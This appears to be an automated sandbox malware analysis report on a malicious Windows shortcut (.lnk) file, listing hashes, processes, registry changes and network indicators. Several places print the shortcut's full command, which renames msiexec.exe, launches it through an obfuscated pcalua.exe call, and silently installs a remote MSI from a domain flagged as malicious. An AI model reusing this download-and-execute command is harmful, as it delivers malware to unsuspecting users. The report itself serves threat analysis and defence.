File name:

8eec3ac9f7d1ac64fc7397ba57cdac4f56959d1512f71dded60e831a26e0762e.lnk

Full analysis: https://app.any.run/tasks/1c0659cb-fefb-43e2-b940-8d491e8c1405
Verdict: Malicious activity
Analysis date: July 31, 2022, 12:03:00
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Indicators:
MIME: application/octet-stream
File info: MS Windows shortcut, Item id list present, Points to a file or directory, Has Working directory, Has command line arguments, Icon number=13, Archive, ctime=Tue Feb 23 06:49:25 2021, mtime=Tue Mar 15 00:08:56 2022, atime=Tue Feb 23 06:49:25 2021, length=289792, window=hidenormalshowminimized
MD5:

B0DD685440C27D3183CF7AE2445232AF

SHA1:

4E6267F20D842E5449A315AEBB48601B49172808

SHA256:

8EEC3AC9F7D1AC64FC7397BA57CDAC4F56959D1512F71DDED60E831A26E0762E

SSDEEP:

12288:dMwUpbeNAWhMwUpbeNAWhMwUpbeNAWhMwUpbeNAWV:ebbe/Cbbe/Cbbe/Cbbe/V

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  • MALICIOUS

    • Application was dropped or rewritten from another process

      • pat.exe (PID: 3316)
      • msiexec.exe (PID: 3208)
    • Drops executable file immediately after starts

      • expand.exe (PID: 1184)
  • SUSPICIOUS

    • Checks supported languages

      • pat.exe (PID: 3316)
      • cmd.exe (PID: 2860)
      • msiexec.exe (PID: 3208)
    • Reads the computer name

      • pat.exe (PID: 3316)
      • msiexec.exe (PID: 3208)
    • Executable content was dropped or overwritten

      • expand.exe (PID: 1184)
    • Drops a file with a compile date too recent

      • expand.exe (PID: 1184)
  • INFO

    • Reads the computer name

      • pcalua.exe (PID: 2936)
    • Checks supported languages

      • pcalua.exe (PID: 2936)
      • expand.exe (PID: 1184)
    • Reads settings of System Certificates

      • msiexec.exe (PID: 3208)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.lnk | Windows Shortcut (100)

EXIF

LNK

IconFileName: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
CommandLineArguments: /q /c expand %systemroot%\system32\msiexec.exe %appdata%\pat.exe & pca^lua.exe -a %appdata%\pat -c /Q /i https://inst.shconstmarket.com/veafdsag.msi?devop=ERtnsgSFAg
WorkingDirectory: %windir%\System32
LocalBasePath: C:\Windows\System32\cmd.exe
VolumeLabel: -
DriveType: Fixed Disk
TargetFileDOSName: cmd.exe
HotKey: (none)
RunWindow: Show Minimized No Activate
IconIndex: 13
TargetFileSize: 289792
ModifyDate: 2021:02:23 08:49:25+01:00
AccessDate: 2022:03:15 02:08:56+01:00
CreateDate: 2021:02:23 08:49:25+01:00
FileAttributes: Archive
Flags: IDList, LinkInfo, WorkingDir, CommandArgs, IconFile, Unicode, ExpString, ExpIcon
No data.
screenshot
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Total processes
38
Monitored processes
5
Malicious processes
0
Suspicious processes
2

Behavior graph

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start cmd.exe no specs expand.exe pcalua.exe no specs pat.exe no specs msiexec.exe

Process information

PID
CMD
Path
Indicators
Parent process
1184expand C:\Windows\system32\msiexec.exe C:\Users\admin\AppData\Roaming\pat.exe C:\Windows\System32\expand.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
LZ Expansion Utility
Exit code:
0
Version:
6.1.7601.24535 (win7sp1_ldr_escrow.191105-1059)
Modules
Images
c:\windows\system32\expand.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\cabinet.dll
2860"C:\Windows\System32\cmd.exe" /q /c expand C:\Windows\system32\msiexec.exe C:\Users\admin\AppData\Roaming\pat.exe & pca^lua.exe -a C:\Users\admin\AppData\Roaming\pat -c /Q /i https://inst.shconstmarket.com/veafdsag.msi?devop=ERtnsgSFAgC:\Windows\System32\cmd.exeExplorer.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
2936pcalua.exe -a C:\Users\admin\AppData\Roaming\pat -c /Q /i https://inst.shconstmarket.com/veafdsag.msi?devop=ERtnsgSFAgC:\Windows\System32\pcalua.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Program Compatibility Assistant
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\pcalua.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\shell32.dll
3208C:\Windows\system32\msiexec.exe /VC:\Windows\system32\msiexec.exe
services.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows® installer
Exit code:
0
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\kernel32.dll
c:\windows\system32\msiexec.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
3316"C:\Users\admin\AppData\Roaming\pat.exe" /Q /i https://inst.shconstmarket.com/veafdsag.msi?devop=ERtnsgSFAgC:\Users\admin\AppData\Roaming\pat.exepcalua.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows® installer
Exit code:
1619
Version:
5.0.7601.24535 (win7sp1_ldr_escrow.191105-1059)
Modules
Images
c:\users\admin\appdata\roaming\pat.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\usp10.dll
Total events
3 729
Read events
3 707
Write events
22
Delete events
0

Modification events

(PID) Process:(2936) pcalua.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(2936) pcalua.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
(PID) Process:(2936) pcalua.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
1
(PID) Process:(2936) pcalua.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
0
(PID) Process:(3208) msiexec.exeKey:HKEY_USERS\S-1-5-21-1302019708-1500728564-335382590-1000_CLASSES\Local Settings\MuiCache\16C\52C64B7E
Operation:writeName:LanguageList
Value:
en-US
Executable files
1
Suspicious files
0
Text files
0
Unknown types
0

Dropped files

PID
Process
Filename
Type
1184expand.exeC:\users\admin\appdata\roaming\pat.exeexecutable
MD5:B7377B761D7FC8E36A4BEFF7762A92DA
SHA256:66E9A0E0B38248E6BFE63F9712EDD523EF280F44941CBF4877B7AE8BC4924B03
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HTTP(S) requests
0
TCP/UDP connections
1
DNS requests
1
Threats
0

HTTP requests

No HTTP requests
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Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3208
msiexec.exe
64.44.102.195:443
inst.shconstmarket.com
Nexeon Technologies, Inc.
US
unknown

DNS requests

Domain
IP
Reputation
inst.shconstmarket.com
  • 64.44.102.195
malicious

Threats

No threats detected
No debug info